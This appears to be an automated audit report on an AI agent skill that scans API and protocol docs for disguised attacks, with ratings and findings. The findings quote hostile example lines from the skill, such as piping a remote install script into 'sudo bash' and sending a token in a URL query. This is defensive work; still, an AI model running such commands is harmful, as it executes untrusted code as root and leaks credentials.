BD protocol-doc-auditor
Helps detect hidden attacks in API and protocol documentation. Scans integration guides for dangerous instructions like curl|bash, credential harvesting, and irrevocable identity bindings disguised as setup steps.
As a process D 45/100 · Unfinished process — weak spots: result and completion, when it triggers, inputs and preconditions
What is at stake
Medium-severity findings: the skill is probably honest, but read what alarmed the scanner.
Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
How to improve
- Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 14
✓ No critical or high findings
Medium and low: 14
-
medium Dangerous commands
cmd-pipe-to-shellSKILL.md:16Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)# The API Doc Told Me to curl | bash — When Protocol Docs Are the Attack Vector
security skill -
medium Dangerous commands
cmd-pipe-to-shellSKILL.md:58Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation of a security skill)curl -s https://agentconnect.io/install.sh | sudo bash
security skill -
low Risky intent
intent-offensive-securityskill-card.md:2Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (detector / deny-list definition)Helps detect hidden attacks in API and protocol documentation by scanning integration guides for dangerous instructions like curl|bash, credential harvesting, and irrevocable identity bindings disguis
detector -
low Risky intent
intent-offensive-securityskill-card.md:13Offensive-security / dual-use content (legitimate for authorised testing; review intended use)Developers, engineers, and agent builders use this skill to audit API documentation, protocol specifications, and integration guides before following setup instructions. It highlights dangerous execut
-
low Risky intent
intent-offensive-securitySKILL.md:32Offensive-security / dual-use content (legitimate for authorised testing; review intended use)5. **Privilege escalation** — Instructions that require `sudo`, modify system files, install global packages, or change firewall rules beyond what the integration logically requires
-
low Dangerous commands
cmd-privilegeSKILL.md:58Privilege escalation / world-writable permissions (documentation of a security skill)curl -s https://agentconnect.io/install.sh | sudo bash
security skill -
low Exfiltration
exfil-secret-in-urlSKILL.md:62Credential passed in a URL query string (normal for some APIs — verify the host is the intended service) (placeholder value)curl https://agentconnect.io/verify?token=…
placeholder -
low Exfiltration
net-credential-useSKILL.md:62Credential used in a network call (verify the destination is the intended service) (documentation of a security skill)curl https://agentconnect.io/verify?token=…
security skill -
low Dangerous commands
cmd-privilegeSKILL.md:77Privilege escalation / world-writable permissions (documentation of a security skill)Instruction: curl ... | sudo bash
security skill -
low Exfiltration
net-credential-useSKILL.md:83Credential used in a network call (verify the destination is the intended service) (documentation of a security skill)Instruction: curl ...?token=$AC_TOKEN
security skill
A further 4 matches are quotations in this security skill's documentation and are not counted as findings.
Files scanned: 2. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
- warning
description-no-whendescription does not say WHEN to use the skill (no "use when")
Process rating: all ten parameters 45/100
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 0Failures and branches. Linear process with no failure handling
- 20When it triggers. No condition that starts the skill
- 30Running it twice. 1 mutating operations with no state check
- 60Tools and files. Uses tools (bash, web) that frontmatter does not declare
- 100Steps. 12 steps
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 1108 tokens
- 100Progress reporting. Reports progress
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- +1No license
- +2Single-language instructions
- +3Description length 213: enough signal without eating the budget
- +4Structure: 6 headings
- +3Step-by-step instructions: 12 items
- +4Has examples (2 code blocks)
Quality base 70; lint remarks subtract, signals add up to 100. Result: 72.